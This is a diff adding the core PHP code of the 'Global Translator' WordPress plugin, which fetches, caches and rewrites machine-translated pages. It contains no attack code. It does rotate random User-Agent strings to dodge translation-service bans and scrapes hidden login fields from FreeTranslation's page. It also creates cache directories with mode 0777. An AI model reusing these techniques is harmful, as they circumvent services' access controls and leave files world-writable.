+- Added automatic blog links substitution in order to preserve the selected language.
+- Added Arabic support
+- Fixed Japanese support
+- Removed "setTimeout(180);" call: it is not supported by certain servers
+- Added new option which permits to split the flags in more than one row
+
+0.3/0.2
+- Bugfix version
+- Added Options Page
+
+0.1
+- Initial release
+
+*/
+
+require_once (dirname(__file__).'/header.php');
+
+	
+define('HARD_CLEAN', true);
+
+define('FLAG_BAR_BEGIN', '<!--FLAG_BAR_BEGIN-->');
+define('FLAG_BAR_END', '<!--FLAG_BAR_END-->');
+define('USER_AGENT','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204');
+
+define('LANGS_PATTERN', 'it|ko|zh-CN|zh-TW|pt|en|de|fr|es|ja|ar|ru|el|nl|zh|zt|no|bg|cs|hr|da|fi|hi|pl|ro|sv|ca|tl|iw|id|lv|lt|sr|sk|sl|uk|vi|sq|et|gl|mt|th|tr|hu');
+define('LANGS_PATTERN_WITH_SLASHES', '/it/|/ko/|/zh-CN/|/zh-TW/|/pt/|/en/|/de/|/fr/|/es/|/ja/|/ar/|/ru/|/el/|/nl/|/zh/|/zt/|/no/|/bg/|/cs/|/hr/|/da/|/fi/|/hi/|/pl/|/ro/|/sv/|/ca/|/tl/|/iw/|/id/|/lv/|/lt/|/sr/|/sk/|/sl/|/uk/|/vi/|/sq/|/et/|/gl/|/mt/|/th/|/tr/|/hu/');
+define('LANGS_PATTERN_WITHOUT_FINAL_SLASH', '/it|/ko|/zh-CN|/zh-TW|/pt|/en|/de|/fr|/es|/ja|/ar|/ru|/el|/nl|/zh|/zt|/no|/bg|/cs|/hr|/da|/fi|/hi|/pl|/ro|/sv|/ca|/tl|/iw|/id|/lv|/lt|/sr|/sk|/sl|/uk|/vi|/sq|/et|/gl|/mt|/th|/tr|/hu');
+
+
+define('CONN_INTERVAL', get_option('gltr_conn_interval'));
+define('DEBUG', get_option('gltr_enable_debug'));
+define('DEBUG_UA', false);
+define('BASE_LANG', get_option('gltr_base_lang'));
+define('BAR_COLUMNS', get_option('gltr_col_num'));
+define('BAN_PREVENTION', get_option('gltr_ban_prevention'));
+define('HTML_BAR_TAG', get_option('gltr_html_bar_tag'));
+define('TRANSLATION_ENGINE', get_option('gltr_my_translation_engine'));
+define('SITEMAP_INTEGRATION', get_option('gltr_sitemap_integration'));
+define('EXPIRE_TIME', get_option('gltr_cache_expire_time'));
+define('COMPRESS_CACHE', get_option('gltr_compress_cache'));
+define('BLOG_HOME', get_settings('home'));
+define('BLOG_HOME_ESCAPED', str_replace('/', '\\/', BLOG_HOME));
+define('NOT_FOUND',
+'<html><head><title>404 Not found</title></head>
+<body><center><h2>404 Error: content not found</h2></center></body></html>');
+
+
+$gltr_result = '';
+$gltr_engine = $gltr_available_engines[TRANSLATION_ENGINE];
+
+add_filter('query_vars', 'gltr_insert_my_rewrite_query_vars');
+add_action('parse_query', 'gltr_insert_my_rewrite_parse_query',-1);//this action should have the maximum priority!
+add_action('admin_menu', 'gltr_add_options_page');
+add_action('init', 'gltr_translator_init');
+
+add_action('save_post', 'gltr_erase_common_cache_files');
+add_action('delete_post', 'gltr_erase_common_cache_files');
+//add_action('comment_post', 'gltr_erase_common_cache_files');
+//add_action('publish_phone', 'gltr_erase_common_cache_files');
+//add_action('trackback_post', 'gltr_erase_common_cache_files');
+//add_action('pingback_post', 'gltr_erase_common_cache_files');
+//add_action('edit_comment', 'gltr_erase_common_cache_files');
+//add_action('wp_set_comment_status', 'gltr_erase_common_cache_files');
+//add_action('delete_comment', 'gltr_erase_common_cache_files');
+//add_action('switch_theme', 'gltr_erase_common_cache_files');
+
+
+
+if (SITEMAP_INTEGRATION) add_action("sm_buildmap","gltr_add_translated_pages_to_sitemap");
+
+function gltr_translator_init() {
+  global $wp_rewrite;
+  if (isset($wp_rewrite) && $wp_rewrite->using_permalinks()) {
+    define('REWRITEON', true);
+    define('LINKBASE', $wp_rewrite->root);
+  } else {
+    define('REWRITEON', false);
+    define('KEYWORDS_REWRITEON', '0');
+    define('LINKBASE', '');
+  }
+  if (REWRITEON) {
+    add_filter('generate_rewrite_rules', 'gltr_translations_rewrite');
+  }
+}
+
+function gltr_add_translated_pages_to_sitemap() {
+	global $gltr_uri_index;
+	$start= round(microtime(true),4);
+	@set_time_limit(120);
+  global $wpdb;
+	if (gltr_sitemap_plugin_detected()){
+		$generatorObject = &GoogleSitemapGenerator::GetInstance();
+	  $posts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE post_status = 'publish' AND post_password='' ORDER BY post_modified DESC");
+  	$chosen_langs = get_option('gltr_preferred_languages');
+  	
+  	//homepages
+		foreach($chosen_langs as $lang){
+			$trans_link = "";
+			if (REWRITEON){
+				$trans_link = preg_replace("/".BLOG_HOME_ESCAPED."/", BLOG_HOME . "/$lang/" , BLOG_HOME );
+			} else {
+				$trans_link = BLOG_HOME . "?lang=$lang";
+			}
+			if (gltr_is_cached($trans_link,$lang))
+				$generatorObject->AddUrl($trans_link,time(),"daily",1);
+		}
+		
+		//posts
+    foreach($chosen_langs as $lang){
+		foreach ($posts as $post) {
+			$permalink = get_permalink($post->ID);			
+				$trans_link = "";
+				if (REWRITEON){
+					$trans_link = preg_replace("/".BLOG_HOME_ESCAPED."/", BLOG_HOME . "/" . $lang, $permalink );
+				} else {
+					$trans_link = $permalink . "&lang=$lang";
+				}
+				if (gltr_is_cached($trans_link,$lang))
+					$generatorObject->AddUrl($trans_link,time(),"weekly",0.2);
+			}
+			$gltr_uri_index[$lang] = array();//unset
+		}
+	}
+  $end = round(microtime(true),4);
+ 	gltr_debug("Translated pages sitemap addition process total time:". ($end - $start) . " seconds");
+	
+}
+
+function gltr_patch_translation_url($res) {
+	
+  if (TRANSLATION_ENGINE == 'google'){
+    $maincont = gltr_http_get_content($res);
+    $matches = array();
+    preg_match( '/(\/translate_p[^"]*)"/',$maincont,$matches);
+    $res = "http://translate.google.com" . $matches[1];
+    $res = str_replace('&amp;','&', $res);    
+    gltr_debug("gltr_patch_translation_url :: Google Patched: $res");
+    
+  } else if (TRANSLATION_ENGINE == 'babelfish'){
+    $maincont = gltr_http_get_content( $res);
+    $matches = array();
+    preg_match( '/URL=(http:\/\/[0-9\.]*\/babelfish\/translate_url_content[^"]*)"/',$maincont,$matches);
+    $res = $matches[1];
+    $res = str_replace('&amp;','&', $res);    
+    gltr_debug("gltr_patch_translation_url :: Babelfish Patched: $res");
+    
+  } else if (TRANSLATION_ENGINE == 'freetransl'){
+    $tmp_buf = gltr_http_get_content("http://www.freetranslation.com/");
+    $matches = array();
+    preg_match('/<input type="hidden" name="username" id = "hiddenUsername" value="([^"]*)" \/>[^<]*<input type="hidden" name="password" id = "hiddenPassword" value="([^"]*)" \/>/',$tmp_buf,$matches);      
+    $res .= "&username=$matches[1]&password=$matches[2]";
+    gltr_debug("gltr_patch_translation_url :: FreeTransl Patched: $res");
+  }
+	return $res;
+}
+
+function gltr_build_translation_url($srcLang, $destLang, $urlToTransl) {
+  global $gltr_engine;
+  if (TRANSLATION_ENGINE == 'google'){
+  	$urlToTransl = urlencode($urlToTransl);  
+  }else if (TRANSLATION_ENGINE == 'babelfish'){	
+		$urlToTransl = urlencode($urlToTransl);   
+	}
+  $tokens = array('${URL}', '${SRCLANG}', '${DESTLANG}');
+  $srcLang = $gltr_engine->decode_lang_code($srcLang);
+  $destLang = $gltr_engine->decode_lang_code($destLang);
+  $values = array($urlToTransl, $srcLang, $destLang);
+  $res = str_replace($tokens, $values, $gltr_engine->get_base_url());
+  return $res;
+} 
+
+function gltr_clean_url_to_translate(){
+  $url = gltr_get_self_url();
+  $url_to_translate = "";
+
+  $blog_home_esc = BLOG_HOME_ESCAPED;
+
+  if (REWRITEON) {
+    $contains_index = (strpos($url, 'index.php')!==false);
+    if ($contains_index){
+      $blog_home_esc .= '\\/index.php';
+    }
+    $pattern1 = '/(' . $blog_home_esc . ')(\\/(' . LANGS_PATTERN . ')\\/)(.+)/';
+    $pattern2 = '/(' . $blog_home_esc . ')\\/(' . LANGS_PATTERN . ')[\\/]{0,1}$/';
+
+    if (preg_match($pattern1, $url)) {
+      $url_to_translate = preg_replace($pattern1, '\\1/\\4', $url);
+    } elseif (preg_match($pattern2, $url)) {
+      $url_to_translate = preg_replace($pattern2, '\\1', $url);
+    }
+    gltr_debug("gltr_clean_url_to_translate :: [REWRITEON] self url:$url | url_to_translate:$url_to_translate");
+
+  } else {
+    $url_to_translate = preg_replace('/[\\?&]{0,1}lang\\=(' . LANGS_PATTERN . ')/i', '', $url);
+    gltr_debug("gltr_clean_url_to_translate :: [REWRITEOFF] self url:$url | url_to_translate:$url_to_translate");
+  }
+  return $url_to_translate;
+}
+
+function gltr_make_server_redirect_page($resource){
+	$unavail =
+		'<html><head><title>Translation not available</title>
+		<style>html,body {font-family: arial, verdana, sans-serif; font-size: 14px;margin-top:0px; margin-bottom:0px; height:100%;}</style></head>
+		<body><center><br /><br /><b>This page has not been translated yet.<br /><br />The translation process could take a while: in the meantime a semi-automatic translation will be provided in a few seconds.</b><br /><br /><a href="'.get_settings('home').'">Home page</a></center>
+		<script type="text/javascript"><!--
+		setTimeout("Redirect()",5000);
+		function Redirect(){
+		 location.href = "{RESOURCE}";
+		}
+		// --></script></body></html>';
+
+  header('HTTP/1.1 503 Service Temporarily Unavailable');//thanks Martin!
+  header('Retry-After: 3600');     
+  $message = str_replace('{RESOURCE}',$resource,$unavail);   
+  return $message;
+}
+
+function gltr_translate($lang) {
+  global $gltr_engine;
+  
+  $page = "";
+  $url_to_translate = gltr_clean_url_to_translate();
+  $resource = gltr_build_translation_url(BASE_LANG, $lang, $url_to_translate);
+
+  if (!gltr_is_connection_allowed()){
+  	$page = gltr_make_server_redirect_page($resource);
+  } else {
+	  $buf = gltr_http_get_content(gltr_patch_translation_url($resource));
+		if (gltr_is_valid_translated_content($buf)){
+	  	gltr_store_translation_engine_status('working');
+			$page = gltr_clean_translated_page($buf, $lang);
+		} else {
+	  	gltr_store_translation_engine_status('banned');
+	  	gltr_debug("Bad translated content for url: $url_to_translate \n$buf");
+	  	$page = gltr_make_server_redirect_page($resource);
+	 	}
+  }
+  return $page;
+}
+
+function gltr_http_get_content($resource) {
+  $isredirect = true;
+  $redirect = null;
+	
+	while ($isredirect) {
+    $isredirect = false;
+    if (isset($redirect_url)) {
+      $resource = $redirect_url;
+    }
+
+    $url_parsed = parse_url($resource);
+    $host = $url_parsed["host"];
+    $port = $url_parsed["port"];
+    if ($port == 0)
+      $port = 80;
+    $path = $url_parsed["path"];
+    if (empty($path))
+      $path = "/";
+    $query = $url_parsed["query"];
+    $http_q = $path . '?' . $query;
+
+    $req = gltr_build_request($host, $http_q);
+				
+    $fp = @fsockopen($host, $port, $errno, $errstr);
+
+    if (!$fp) {
+      return "$errstr ($errno)<br />\n";
+    } else {
+      fputs($fp, $req, strlen($req)); // send request
+      $buf = '';
+      $isFlagBar = false;
+      $flagBarWritten = false;
+      $beginFound = false;
+      $endFound = false;
+      $inHeaders = true;
+			$prevline='';
+      while (!feof($fp)) {
+        $line = fgets($fp);
+        if ($inHeaders) {
+        	
+          if (trim($line) == '') {
+            $inHeaders = false;
+            continue;
+          }
+
+          $prevline = $line;
+          if (!preg_match('/([^:]+):\\s*(.*)/', $line, $m)) {
+            // Skip to the next header
+            continue;
+          } 
+          $key = strtolower(trim($m[1]));
+          $val = trim($m[2]);
+					if ($key == 'location') {
+            $redirect_url = $val;
+          	$isredirect = true;
+          	break;
+          }
+          continue;
+        }
+				
+        $buf .= $line;
+      } //end while
+    }
+    fclose($fp);
+  } //while($isredirect) 
+  return $buf; 
+}
+
+
+function gltr_is_valid_translated_content($content){
+	return (strpos($content, FLAG_BAR_BEGIN) > 0);
+}
+
+function gltr_store_translation_engine_status($status){
+	$exists = get_option("gltr_translation_status");
+	if($exists === false){ 
+		add_option("gltr_translation_status","unknown");
+	}
+	update_option("gltr_translation_status",$status);	
+}
+
+function gltr_is_connection_allowed(){
+
+	$last_connection_time = get_option("gltr_last_connection_time");
+	if($last_connection_time === false){ 
+		add_option("gltr_last_connection_time",0);
+		$last_connection_time = 0;
+	} 
+	
+	if ($last_connection_time > 0){
+		$now = time();
+		$delta = $now - $last_connection_time;
+		if ($delta < CONN_INTERVAL){
+			gltr_debug("gltr_is_connection_allowed :: Blocking connection request: delta=$delta secs");
+			$res = false;
+		} else {
+			gltr_debug("gltr_is_connection_allowed :: Allowing connection request: delta=$delta secs");
+			update_option("gltr_last_connection_time", $now);
+	    $res = true;
+	  }
+	} else {
+		gltr_debug("gltr_is_connection_allowed :: Warning: 'last_connection_time' is undefined: allowing translation");
+		update_option("gltr_last_connection_time", time());
+		$res = true;
+	}
+	return $res;
+}
+
+function gltr_clean_link($matches){
+  //global $wp_query;
+  //$lang = $wp_query->query_vars['lang'];
+  if (TRANSLATION_ENGINE == 'google')
+		return $matches[1] . "=\"" . urldecode($matches[3]) . $matches[5] . "\"";
+	else 
+		return $matches[1] . "=\"" . urldecode($matches[3]) . "\"";
+}
+
+function gltr_clean_translated_page($buf, $lang) {
+  global $gltr_engine;
+	global $well_known_extensions;  
+	$is_IIS = (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false) ? true : false;
+
+	$patterns = $gltr_engine->get_links_pattern();
+	foreach( $patterns as $id => $pattern){
+  	$buf = preg_replace_callback($pattern, "gltr_clean_link", $buf);
+  }
+	
+  $buf = preg_replace("/<meta name=\"description\"([ ]*)content=\"([^>]*)\"([ ]*)\/>/i", "", $buf);
+  $buf = preg_replace("/<meta name='description'([ ]*)content='([^>]*)'([ ]*)\/>/i", "", $buf);
+	//TODO: add <meta name="language" content="LANG" />
+
+
+  $blog_home_esc = BLOG_HOME_ESCAPED;
+  $blog_home = BLOG_HOME;
+
+  if (REWRITEON) {
+    if ($is_IIS){
+      $blog_home_esc .= '\\/index.php';
+      $blog_home .= '/index.php';
+      $pattern = "/<a([^>]*)href=\"" . $blog_home_esc . "(((?![\"])(?!\/trackback)(?!\/feed)" . gltr_get_extensions_skip_pattern() . ".)*)\"([^>]*)>/i";
+      $repl = "<a\\1href=\"" . $blog_home . '/' . $lang . "\\2\" \\4>";
+      //gltr_debug("IS-IIS".$repl."|".$pattern);
+      $buf = preg_replace($pattern, $repl, $buf);
+    } else {
+      $pattern = "/<a([^>]*)href=\"" . $blog_home_esc . "(((?![\"])(?!\/trackback)(?!\/feed)" . gltr_get_extensions_skip_pattern() . ".)*)\"([^>]*)>/i";
+      $repl = "<a\\1href=\"" . $blog_home . '/' . $lang . "\\2\" \\4>";
+      //gltr_debug($repl."|".$pattern);
+      $buf = preg_replace($pattern, $repl, $buf);
+    }
+  } else {
+    $pattern = "/<a([^>]*)href=\"" . $blog_home_esc . "\/\?(((?![\"])(?!\/trackback)(?!\/feed)" . gltr_get_extensions_skip_pattern() . ".)*)\"([^>]*)>/i";
+    $repl = "<a\\1href=\"" . $blog_home . "?\\2&lang=$lang\" \\4>";
+    $buf = preg_replace($pattern, $repl, $buf);
+    
+    $pattern = "/<a([^>]*)href=\"" . $blog_home_esc . "[\/]{0,1}\"([^>]*)>/i";
+    $repl = "<a\\1href=\"" . $blog_home . "?lang=$lang\" \\2>";
+    $buf = preg_replace($pattern, $repl, $buf);
+  }
+
+  //let's remove custom tags added by certain engines
+  if (TRANSLATION_ENGINE == 'promt') {
+    //$buf = preg_replace("/\<div class='PROMT_HEADER'(.*)\<\/div\>/i", "", $buf);
+    //$buf = preg_replace("/\<span class=\"UNKNOWN_WORD\"\>([^\<]*)\<\/span\>/i", "\\1",$buf);
+    $buf = preg_replace("/onmouseout=\"OnMouseLeaveSpan\(this\)\"/i", "",$buf);
+    $buf = preg_replace("/onmouseover=\"OnMouseOverSpanTran\(this,event\)\"/i", "",$buf);
+    $buf = preg_replace("/<span class=\"src_para\">/i", "<span style=\"display:none;\">",$buf);
+  } else if (TRANSLATION_ENGINE == 'freetransl') {
+    $buf = preg_replace("/\<div(.*)http:\/\/www\.freetranslation\.com\/images\/logo\.gif(.*)\<\/div\>/i", "", $buf);
+    $buf = str_replace(array("{L","L}"), array("",""), $buf);
+  } else if (TRANSLATION_ENGINE == 'google') {
+    $buf = preg_replace("/<iframe src=\"http:\/\/translate\.google\.com\/translate_un[^>]*><\/iframe>/i", "",$buf);
+    $buf = preg_replace("/<script>[^<]*<\/script>[^<]*<script src=\"[^\"]*translate_c.js\"><\/script>[^<]*<script>[^<]*_intlStrings[^<]*<\/script>[^<]*<style type=[\"]{0,1}text\/css[\"]{0,1}>\.google-src-text[^<]*<\/style>/i", "",$buf);
+    $buf = preg_replace("/_setupIW\(\);_csi\([^\)]*\);/","",$buf);
+    $buf = preg_replace("/onmouseout=[\"]{0,1}_tipoff\(\)[\"]{0,1}/i", "",$buf);
+    $buf = preg_replace("/onmouseover=[\"]{0,1}_tipon\(this\)[\"]{0,1}/i", "",$buf);
+    $buf = preg_replace("/<span class=[\"]{0,1}google-src-text[\"]{0,1}[^>]*>/i", "<span style=\"display:none;\">",$buf);
+    $buf = preg_replace("/<span style=\"[^\"]*\" class=[\"]{0,1}google-src-text[\"]{0,1}[^>]*>/i", "<span style=\"display:none;\">",$buf);
+  }
+  
+	if (HARD_CLEAN){
+		$out = array();
+		$currPos=0;
+		$result = "";
+		$tagOpenPos = 0;
+		$tagClosePos = 0;
+		
+		while (!($tagOpenPos === false)){
+			$beginIdx = $tagClosePos;
+      $tagOpenPos = stripos($buf,"<span style=\"display:none;\">",$currPos);
+      $tagClosePos = stripos($buf,"</span>",$tagOpenPos);
+			if ($tagOpenPos == 0 && ($tagOpenPos === false) && strlen($result) == 0){
+				gltr_debug("===>break all!");
+				$result = $buf;
+				break;
+			}
+			$offset = substr($buf,$tagOpenPos,$tagClosePos - $tagOpenPos + 7);
+			preg_match_all('/<span[^>]*>/U',$offset,$out2,PREG_PATTERN_ORDER);
+			$nestedCount = count($out2[0]);
+			
+			for($i = 1; $i < $nestedCount; $i++){
+        $tagClosePos = stripos($buf,"</span>",$tagClosePos + 7);
+			}
+			if ($beginIdx > 0)$beginIdx += 7;
+			
+			$result .= substr($buf,$beginIdx,$tagOpenPos - $beginIdx);
+			$currPos = $tagClosePos;
+		}
+		//gltr_debug($result);
+		$buf = $result . substr($buf,$beginIdx);//Fixed by adding the last part of the translation: thanks Nick Georgakis!
+	}
+  
+  $buf = gltr_insert_flag_bar($buf);
+  
+  return $buf;
+}
+
+
+function gltr_insert_flag_bar($buf){
+	$bar = gltr_get_flags_bar();
+
+	$startpos = strpos($buf, FLAG_BAR_BEGIN);
+	$endpos = strpos($buf, FLAG_BAR_END);
+	if ($startpos > 0 && $endpos > 0){
+    $buf = substr($buf, 0, $startpos) . $bar . substr($buf, $endpos + strlen(FLAG_BAR_END));
+  } else {
+    gltr_debug("Flags bar tokens not found: translation failed or denied");
+  }
+  
+  return $buf;
+}
+
+function gltr_get_extensions_skip_pattern() {
+	global $well_known_extensions;
+	
+	$res = "";
+	foreach ($well_known_extensions as $key => $value) {
+		$res .= "(?!\.$value)";
+	}
+	return $res;
+}
+
+function gltr_get_random_UA(){
+	global $gltr_ua;
+	$tot = count($gltr_ua);
+	$id = rand( 0, count($gltr_ua)-1 );
+	$ua = $gltr_ua[$id];
+	//gltr_debug("Random UA nr $id: $ua");
+	return $ua;
+}
+
+function gltr_build_request($host, $http_req) {
+  $res = "GET $http_req HTTP/1.0\r\n";
+  $res .= "Host: $host\r\n";
+  $res .= "User-Agent: " . gltr_get_random_UA() . " \r\n";
+  $res .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
+  $res .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
+  $res .= "Connection: close\r\n";
+  $res .= "\r\n";
+  return $res;
+}
+
+
+function gltr_get_flags_bar() {
+  global $gltr_engine, $wp_query, $gltr_merged_image;
+  $num_cols = BAR_COLUMNS;
+	if (!isset($gltr_engine) || $gltr_engine == null ){
+		gltr_debug("WARNING! GT Options not correctly set!");
+		return "<b>Global Translator not configured yet. Please go to the Options Page</b>";
+	}
+  
+
+  $buf = '';
+	
+  
+  $transl_map = $gltr_engine->get_languages_matrix();
+
+  $translations = $transl_map[BASE_LANG];
+
+  $transl_count = count($translations); 
+
+  $buf .= "\n" . FLAG_BAR_BEGIN; //initial marker
+
+  if (HTML_BAR_TAG == 'TABLE')
+    $buf .= "<table border='0'><tr>";
+  else if (HTML_BAR_TAG == 'DIV')
+    $buf .= "<div id=\"translation_bar\">";
+  else if (HTML_BAR_TAG == 'MAP')
+    $buf .= "<div id=\"translation_bar\"><map id=\"gltr_flags_map\" name=\"gltr_flags_map\">";
+
+  $curr_col = 0;
+  $curr_row = 0;
+
+  $dst_x = 0;
+  $dst_y = 0;
+  $map_left=0;
+  $map_top=0;
+  $map_right=16;
+  $map_bottom=11;
+  $grid;
+
+  //filter preferred
+  $preferred_transl = array();
+  foreach ($translations as $key => $value) {
+    if ($key == BASE_LANG || in_array($key, get_option('gltr_preferred_languages')))
+      $preferred_transl[$key] = $value;
+  }
+  $num_rows=1;
+  if ($num_cols > 0){
+    $num_rows = (int)(count($preferred_transl)/$num_cols);
+    if (count($preferred_transl)%$num_cols>0)$num_rows+=1;
+  }
+  if (HTML_BAR_TAG == 'MAP' && !file_exists($gltr_merged_image)){
+    $img_width = $num_cols*20;
+    $img_height = $num_rows*15;
+    $grid = imagecreatetruecolor ($img_width, $img_height);
+    imagecolortransparent($grid, 000000);
+  }
+
+  foreach ($preferred_transl as $key => $value) {
+    if ($curr_col >= $num_cols && $num_cols > 0) {
+      if (HTML_BAR_TAG == 'TABLE') $buf .= "</tr><tr>";
+      $curr_col = 0;
+      $dst_x = 0;
+      $map_left = 0;
+      $map_right = 16;
+      $curr_row++;
+    }
+    $dst_y = $curr_row * 15;
+    $map_top = $curr_row * 15;
+    $map_bottom = $curr_row * 15 + 11;
+
+    $flg_url = gltr_get_translated_url($key, gltr_get_self_url());
+    $flg_image_url = gltr_get_flag_image($key);
+    $flg_image_path = gltr_get_flag_image_path($key);
+
+    if (HTML_BAR_TAG == 'TABLE') $buf .= "<td>";
+
+    if (HTML_BAR_TAG == 'MAP'){
+    	$buf .="<area shape='rect' coords='$map_left,$map_top,$map_right,$map_bottom' href='$flg_url' id='flag_$key' $lnk_attr  title='$value'/>";
+      $map_left = $map_left+20;
+      $map_right= $map_right+20;
+    }else{
+      $buf .= "<a id='flag_$key' href='$flg_url' hreflang='$key' $lnk_attr><img id='flag_img_$key' src='$flg_image_url' alt='$value flag' title='$value'  border='0' /></a>";
+    }
+
+    if (HTML_BAR_TAG == 'TABLE') $buf .= "</td>";
+
+    if ($num_cols > 0) $curr_col += 1;
+
+    if (HTML_BAR_TAG == 'MAP' && !file_exists($gltr_merged_image)){
+      $img_tmp = @imagecreatefrompng($flg_image_path);
+
+      imagecopymerge($grid, $img_tmp, $dst_x, $dst_y, 0, 0, 16, 11, 100);
+      //gltr_debug("dst_x=$dst_x;dst_y=$dst_y;curr_row=$curr_row;curr_col=$curr_col;num_rows=$num_rows;flg_image_url=$flg_image_url");
+      $dst_x = $dst_x + 20;
+      @imagedestroy($img_tmp);
+    }
+  }//end foreach ($preferred_transl as $key => $value) {
+
+  if (HTML_BAR_TAG == 'MAP' && !file_exists($gltr_merged_image)){
+    if (!is_writeable(dirname(__file__))){
+      return "<b>Permission error: Please make your 'plugins/global-translator' directory writable by Wordpress</b>";
+    } else {
+      imagepng($grid, $gltr_merged_image);
+      imagedestroy($grid);
+    }
+  }
+  if (HTML_BAR_TAG == 'MAP'){
+    $merged_image_url=gltr_get_flags_image();
+  }
+
+  while ($curr_col < $num_cols && $num_cols > 0) {
+    if (HTML_BAR_TAG == 'TABLE') $buf .= "<td>&nbsp;</td>";
+    $curr_col += 1;
+  }
+
+
+  if ($num_cols == 0)
+    $num_cols = count($translations);
+    
+  //***************************************************************************************
+  //Yes, you can remove my website link from the flags bar, but you should put it on another place 
+  //on your blog, for example on your sidebar (i.e. inside your blogroll).
+  //This plugin is hard to develop and maintain and I freely redistribute it; I'm only asking 
+  //you a backlink to my website (http://www.nothing2hide.net). This will be very appreciated!! 
+  //Thanks!    
+  //
+  //$n2hlink = "<a style=\"font-size:9px;\" href=\"http://www.nothing2hide.net\">By N2H</a>";
+  if (HTML_BAR_TAG == 'MAP'){
+    $buf .="</map>";
+    $buf .= "<img style='border:0px;' src='$merged_image_url' usemap='#gltr_flags_map'/></div>";
+  } 
+  
+  if (HTML_BAR_TAG == 'TABLE')
+    $buf .= "</tr><tr><td colspan=\"$num_cols\">$n2hlink</td></tr></table>";
+  else if (HTML_BAR_TAG == 'DIV')
+    $buf .= "<div id=\"transl_sign\">$n2hlink</div></div>";
+  else
+    $buf .= "<div id=\"transl_sign\">$n2hlink</div>";
+  $buf .= FLAG_BAR_END . "\n"; //final marker
+  return $buf;
+}
+
+function gltr_build_flags_bar() {
+  echo (gltr_get_flags_bar());
+}
+
+//ONLY for backward compatibility!
+function build_flags_bar() {
+  echo (gltr_get_flags_bar());
+}
+
+function gltr_get_translated_url($language, $url) {
+  if (REWRITEON) {
+    $contains_index = (strpos($url, 'index.php')!==false);
+    $blog_home_esc = BLOG_HOME_ESCAPED;
+    if ($contains_index){
+      $blog_home_esc .= '\\/index.php';
+    }
+		$pattern = '/' . $blog_home_esc . '\\/((' . LANGS_PATTERN . ')[\\/])*(.*)/';
+
+    if (preg_match($pattern, $url)) {
+      $uri = preg_replace($pattern, '\\3', $url);
+    } else {
+      $uri = '';
+    }
+
+    $blog_home = BLOG_HOME;
+    if ($contains_index){
+      $blog_home .= '/index.php';
+    }
+    if ($language == BASE_LANG)
+      $url = $blog_home . '/' . $uri;
+    else
+      $url = $blog_home . '/' . $language . '/' . $uri;
+  } else {
+    //REWRITEOFF
+    $pattern1 = '/(.*)([&|\?]{1})lang=(' . LANGS_PATTERN . ')(.*)/';
+    $pattern2 = '/(.*[&|\?]{1})lang=(' . LANGS_PATTERN . ')(.*)/';
+
+    if ($language == BASE_LANG) {
+      $url = preg_replace($pattern1, '\\1\\4', $url);
+    } else
+      if (preg_match($pattern2, $url)) {
+        $url = preg_replace($pattern2, '\\1lang=' . $language . '\\3', $url);
+      } else {
+        if (strpos($url,'?')===false)
+          $url .= '?lang=' . $language;
+        else
+          $url .= '&lang=' . $language;
+      }
+
+  }
+
+  return $url;
+}
+
+
+function gltr_get_self_url() {
+  $full_url = 'http';
+  $script_name = '';
+  if (isset($_SERVER['REQUEST_URI'])) {
+    $script_name = $_SERVER['REQUEST_URI'];
+  } else {
+    $script_name = $_SERVER['PHP_SELF'];
+    if ($_SERVER['QUERY_STRING'] > ' ') {
+      $script_name .= '?' . $_SERVER['QUERY_STRING'];
+    }
+  }
+  if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
+    $full_url .= 's';
+  }
+  $full_url .= '://';
+  if ($_SERVER['SERVER_PORT'] != '80') {
+    $full_url .= $_SERVER['HTTP_HOST'] . ':' . $_SERVER['SERVER_PORT'] . $script_name;
+  } else {
+    $full_url .= $_SERVER['HTTP_HOST'] . $script_name;
+  }
+  return $full_url;
+}
+
+//rewrite rules definitions
+function gltr_translations_rewrite($wp_rewrite) {
+  $translations_rules = array('^(' . LANGS_PATTERN . ')$' =>
+    'index.php?lang=$matches[1]', '^(' . LANGS_PATTERN . ')/(.+?)$' =>
+    'index.php?lang=$matches[1]&url=$matches[2]');
+  $wp_rewrite->rules = $translations_rules + $wp_rewrite->rules;
+}
+
+function gltr_get_cookies() {
+  $string = '';
+  while ($key = key($_COOKIE)) {
+    if (preg_match("/^wordpress|^comment_author_email_/", $key)) {
+      $string .= $_COOKIE[$key] . ",";
+    }
+    next($_COOKIE);
+  }
+  reset($_COOKIE);
+  return $string;
+}
+
+function gltr_is_cached($url,$lang){
+	global $gltr_cache_dir, $gltr_stale_dir;
+
+  $url_parts = parse_url($url);
+  $host = 'http://' . $url_parts['host'];
+  $host_escaped = str_replace('/', '\\/', $host);
+
+  $cachedir = $gltr_cache_dir."/$lang";
+  $staledir = $gltr_stale_dir."/$lang";
+  $uri = preg_replace("/$host_escaped/", '', $url);
+  $hash = gltr_hashReqUri($uri);
+  $filename = $cachedir . '/' . $hash;
+  $stale_filename = $staledir . '/' . $hash;
+  return (is_file($filename)||is_file($stale_filename));
+  
+}
+
+function gltr_mkdir($dirtomake){
+  if (!is_dir($dirtomake)) { 
+    if (!@mkdir($dirtomake, 0777)){
+     	die("<b>Global Translator has detected a problem with your filesystem permissions:<br />The cache dir <em>$dirtomake</em> cannot be created. <br />Please make readable and writeable the following directory: <br /><em>".WP_CONTENT_DIR."</em>.</b>");
+    }
+    if(!file_exists($dirtomake) || !is_readable($dirtomake) || !is_writeable($dirtomake)){
+    	die("<b>Global Translator has detected a problem with your filesystem permissions:<br />The cache dir <em>$dirtomake</em> cannot be read or modified. <br />Please chmod it in order to make it readable and writeable.</b>");
+    }
+  }
+	
+}
+
+
+function gltr_get_page_content($lang, $url) {
+ 	global $gltr_cache_dir;
+	global $gltr_stale_dir;
+
+  $page = '';
+  $hash = gltr_hashReqUri($_SERVER['REQUEST_URI']);
+  //gltr_debug("Hashing uri: ".$_SERVER['REQUEST_URI']." to: $hash");
+
+  $cachedir = $gltr_cache_dir;
+  $staledir = $gltr_stale_dir;
+
+  //gltr_debug("==>$cachedir");
+  gltr_mkdir($cachedir);
+  gltr_mkdir($staledir);
+
+	gltr_move_to_new_cache_loc($hash,$lang);				
+	gltr_move_to_new_stale_loc($hash,$lang);				
+	
+  $filename = $cachedir . '/' . $lang . '/' . $hash;
